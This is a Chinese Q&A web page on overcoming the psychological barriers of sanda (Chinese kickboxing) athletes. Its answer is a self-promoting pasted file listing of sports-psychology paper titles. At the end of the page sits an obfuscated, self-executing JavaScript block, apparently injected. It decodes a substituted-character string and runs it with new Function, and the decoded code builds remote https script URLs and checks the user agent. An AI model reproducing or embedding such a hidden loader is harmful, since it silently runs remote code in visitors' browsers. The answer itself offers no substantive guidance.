散打比赛中怎样消除运动员的心理障碍

2025-04-02 12:50:56
推荐回答(1个)
回答1:

这种问题,建议查询相关的武术研究文献资料。
可以关注我的公号,以后我会逐步发布研究文献。

这里先给个目录,供参考:

文件夹 PATH 列表
卷序列号为 00000002 7CEE:45DA
C:\USERS\YEBING\DESKTOP\心理
不同运动等级散打运动员运动性心理疲劳特征研究.pdf
不同选项体育课对大学生心理健康的影响_董玉福.pdf
个体性格差异对高校高水平武术运动员心理技能的影响.pdf
中国传统武术对大学生心理健康的影响.pdf
中学体育武术课教学中学生厌学心理成因与对策研究.pdf
中小学武术运动员的赛前心理素质训练.pdf
中职学校散打实战教学中学生害怕恐惧心理的克服.pdf
九运会武术套路运动员个性心理特征分析_徐烈.pdf
习练武术者好攻击性行为的心理研究_喻德桥.pdf
从_暴力美学_视域审视武术技击美的心理归因及和谐思想.pdf
从心理学角度分析武术运动员在太极拳比赛中的时间知觉误差_李德祥.pdf
从消费心理学的视角探析武术商品市场的营销策略.pdf
优秀女子散打运动员心理状态监测与训练.pdf
优秀散打运动员专项心理能力构成因素研究.pdf
优秀武术运动员心理健康现状及相关因素比较研究.pdf
传统武术发声起源及其生理、心理机理研究.pdf
传统武术训练中固有的心理训练_冯胜刚.pdf
体育锻炼对民航空中管制学员的心理影响研究.pdf
克服学生对散打实战心理恐惧的教学研究.pdf
克服散打实战教学中学生的焦虑心理的研究.pdf
公安院校散打课程教学的心理因素分析.pdf
关于竞技武术套路运动员的竞赛心理调控.pdf
哈尔滨市男子武术运动员赛前心理状态分析.pdf
在武术教学中应用心理知识的探讨_于洪波.pdf
培养散打专项学生优秀心理品质的实验研究.pdf
培养武术运动员赛前心理素质的研究.pdf
大学武术课教学促进学生心理健康的研究_格日勒.pdf
大学生武术运动员赛前心理训练法运用初探.pdf
大学生武术运动员赛前心理训练法运用初探_伍天慧.pdf
大学生武术运动员赛前情绪与心理准备的研究.pdf
太极拳对人体生理和心理健康的影响.pdf
太极拳对普通大学生心理健康影响的实验研究.pdf
太极拳运动对中老年女性心理健康的影响.pdf
太极拳锻炼对心理健康的影响和对精神分裂症的辅助治疗.pdf
女中学生武术课堂求助行为心理及影响因素分析_邓永明.pdf
女子散打运动员竞技水平与心理特征的关联性研究.pdf
如何对散手运动员进行赛前心理训练_范海彪.pdf
如何提高散打运动员的心理训练.pdf
学生心理素质培养三法.pdf
对四川省散打队赛前训练生理、心理部分指标的监测.pdf
对散打教学实战对抗紧张心理的分析.pdf
对散打运动员HiHiLo期间心理疲劳情况的分析.pdf
对散打运动员的赛前心理调控和训练的分析.pdf
对散打运动员赛前心理训练与调控程序及实施的理论探讨.pdf
对武术散手运动员认知心理特征的实验研究_蔡仲林.pdf
对武术运动中心理现象初探_朱家新.pdf
对武术运动员赛前心理训练方法的探讨_李翠霞.pdf
对竞技武术套路运动员比赛中心理状态的分析研究.pdf
小群体教学模式对大学生心理健康影响的实验研究_蔡春霞.pdf
影响散打进攻效果的相关心理因素的分析与调控.pdf
影响武术套路裁判员执法能力的心理因素及其预防_仇志刚.pdf
影响武术套路运动员比赛情绪的心理训练.PDF
影响武术套路运动员比赛情绪的心理训练_刘宝玉.pdf
影响武术运动员竞赛成绩的若干心理因素_孙玉滨.pdf
心理学在高校武术教学中的应用.pdf
心理拓展训练对大学武术教学影响的研究.pdf
心理训练对提高武术运动员心理素质的研究.pdf
心理训练对武术运动成绩影响的实验研究.pdf
心理训练对武术运动成绩影响的实验研究_曾世华.pdf
我国优秀男子散打运动员心理特征的研究.pdf
我国优秀男子武术散打运动员的人格心理特征.pdf
我校散打选项班学生心理健康状况的调查分析.pdf
散手运动员损伤后的心理恢复_齐新.pdf
散打专业学生在实战中胆怯心理的分析与研究.pdf
散打专修学生比赛中心理状况的调查与分析.pdf
散打实战中恐惧心理的产生及消除对策.pdf
散打实战技能中的心理素质.pdf
散打实战教学中普通高校大学生的焦虑心理及克服.pdf
散打教学实战中学生受重击时心理状态的分析与研究.pdf
散打比赛中出现的紧张心理情绪及调节方法.pdf
散打裁判员临场执法心理技能探讨.pdf
散打训练中学生焦虑心理的研究.pdf
散打运动中心理素质训练探析.pdf
散打运动员专项心理素质的培养.pdf
散打运动员在比赛中不良心理现象及其调控.pdf
散打运动员平时心理训练初探_陈正谦.pdf
散打运动员应具备的心理素质.pdf
散打运动员心理控制能力的研究概述.pdf
散打运动员恐惧心理的表现及对策_杨尚春.pdf
散打运动员比赛的心理分析及训练.pdf
散打运动员的心理技能训练.pdf
散打运动员的心理特征及训练研究.pdf
散打运动员的若干心理品质及其培养_夏良玉.pdf
散打运动员赛前、赛时、赛后时的心理状态分析与调节.pdf
散打运动员赛前心理状态研究.pdf
散打运动员赛前心理训练与调控初探.pdf
散打运动员运动性心理疲劳与心理反应.pdf
散打运动的心理分析.pdf
文件夹树形目录生成器.bat
普通大学生学习散打的心理初探.pdf
普通高校武术散打课程教学的心理学因素分析.pdf
普通高校武术散打课程教学的心理学因素分析_申国卿.pdf
格斗中的胆量要素和心理素质.pdf
武术启蒙训练年龄与儿童心理_生理发展关系的探讨_林小美.pdf
武术基础训练与儿童生理、心理发展之研究.pdf
武术套路学习对5岁儿童个性心理特征的影响_闫树人.pdf
武术套路裁判员执裁时产生心理压力的原因分析_雷鸣.pdf
武术套路运动员心理训练的探讨.pdf
武术套路运动员赛前心理训练的方法及其运用.pdf
武术套路运动员赛前心理训练的方法及其运用_刘涛.pdf
武术套路运动员赛前最佳心理状态形成的研究.pdf
武术技击者应具备的心理因素_张继春.pdf
武术技能形成过程中的心理特点教学_祁燕.pdf
武术搏击运动员心理素质训练研究.pdf
武术教学应注重培养审美能力与建构审美心理_李连生.pdf
武术教学课对大学生心理素质的影响_贺笑一.pdf
武术散手运动员赛前心理研究_刘军.pdf
武术散打实战教学中学生的焦虑心理初探.pdf
武术散打实战教学中的恐惧心理现象分析——从运动心理学的角度.pdf
武术散打心理训练浅探.pdf
武术散打比赛心理调节方法研究.pdf
武术散打裁判员临场判罚的心理因素与训练调节.pdf
武术文化对民族文化心理的影响_谢惠蓉.pdf
武术比赛中运动员不良心态及心理训练方法探讨_王清生.pdf
武术竞赛中_指定动作_稳定性的心理分析_梅汉超.pdf
武术运动与中国古代心理学思想研究_彭芳.pdf
武术运动员在实战训练中心理素质的分析.pdf
武术运动员心理因素及心理训练的研究.pdf
武术运动员心理放松的练习方法.pdf
武术运动员心理疲劳成因与恢复方法研究.pdf
武术运动员心理素质对比赛成绩的影响.pdf
武术运动员的心理训练方法.pdf
武术运动员的心理训练方法_初学玲.pdf
武术运动员的心理调整方法.pdf
武术运动员的比赛心理之研究.pdf
武术运动员赛前的心理状态及其自我调节_刘祖辉.pdf
武术运动员赛前的心理状态及其调整_施翔.pdf
武术(套路)比赛中运动员不良心态及心理训练方法研究.pdf
沈建院学生体育兴趣对心理特征及学习效果的影响_黄玺新.pdf
浅析散打心理战术在实战中的应用.pdf
浅析散打运动员的心理素质训练.pdf
浅析散打运动员赛前心理状态.pdf
浅析散打运动员赛前心理训练分析与研究.pdf
浅析武术套路运动员赛前的心理训练_戴小中.pdf
浅析武术运动员的个性心理.pdf
浅析武术运动员竞赛中克服不良心理状态的心理训练.pdf
浅析沈阳体育学院散打运动员赛前不良心理状态对比赛胜负的影响.pdf
浅析竞技武术套路中的心理训练.pdf
浅析竞技武术套路运动员的心理技能训练.pdf
浅析青少年武术运动员参赛的心理调整.pdf
浅谈公安院校武术散打的心理训练.pdf
浅谈学生运动员武术比赛前的心理训练.pdf
浅谈掌握武术运动技术各阶段的心理特点_刘勇强.pdf
浅谈散打心理活动特点及其训练方法.pdf
浅谈散打教练员对运动员心理能力的培养.pdf
浅谈散打运动员的心理素质培养及战术训练.pdf
浅谈武术套路的心理教学_沙忠立.pdf
浅谈武术运动员心理素质的培养.pdf
浅谈武术运动员心理素质的培养_李晓峰.pdf
浅谈武术运动员的心理训练.pdf
浅谈武术运动员的赛前心理训练.pdf
竞技武术之心理训练.pdf
竞技武术套路训练的心理学分析.pdf
竞技武术套路运动员心理技能训练的分析.pdf
竞技武术套路运动员心理素质的问题及其培养对策的研究.pdf
竞技武术套路运动员的心理焦虑水平及自我心理调控.pdf
竞技武术套路运动员赛前心理学问题之研究.pdf
竞技武术运动员心理训练初探.pdf
竞技武术运动员心理训练初探_方平.pdf
老年人社会工作论文太极拳锻炼对女性老年人心理健康影.pdf
论传统武术对个体心理因素的影响.pdf
论冥想训练对武术套路运动员运动性心理疲劳恢复的可行性.pdf
论散打运动员的主要心理特征和心理训练内容.pdf
论武术散打中运动员心理素质对比赛的影响.pdf
论武术散打运动员受伤后的心理恢复.pdf
论武术运动员的心理训练.pdf
论高校武术运动员的赛前心理训练.pdf
论高校武术运动员的赛前心理训练_范海彪.pdf
试析武术散打运动员赛前心理训练.pdf
试析武术运动员心理疲劳的产生及其恢复.pdf
试论不良心理状态对散打比赛的影响及克服方法.pdf
试论武术实战训练中的心理素质_陈肇宪.pdf
试论武术散打比赛情境中的心理敏捷性.pdf
试论武术散打比赛情境中的心理敏捷性_贾利.pdf
谈中小学武术运动员的赛前心理素质训练.pdf
谈武术运动员心理训练的方法.pdf
谈武术运动员心理训练的方法_贾鹏飞.pdf
谈武术运动员赛前的心理控制和调节.pdf
辽宁省青少年散打运动员运动成就心理控制点类型的研究.pdf
运动心理学_a81f9291_e368_4c5c_a771_d297969fa7.pdf
运动心理学与武术心理研究构想_梅汉超.pdf
运用心理学理论指导武术教学中的讲解与示范_罗荣保.pdf
运用心理训练手段提高学生学习武术的自觉性_张福灵.pdf
逮住青年观众的心理_傅奇.pdf
陕西省优秀散打运动员专项心理能力指标建构及监控.pdf
青少年散打运动员心理控制点类型的调查与研究.pdf
高校武术套路运动员赛前心理训练剖析.pdf
高校武术散打选项学生训练中心理过度紧张的调控.pdf
高水平武术套路运动员的直接心理训练_高娅.pdf
高水平武术运动员心理健康现状及影响因素.pdf
黑龙江省女子武术运动员赛前心理状态分析.pdf

没有子文件夹

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();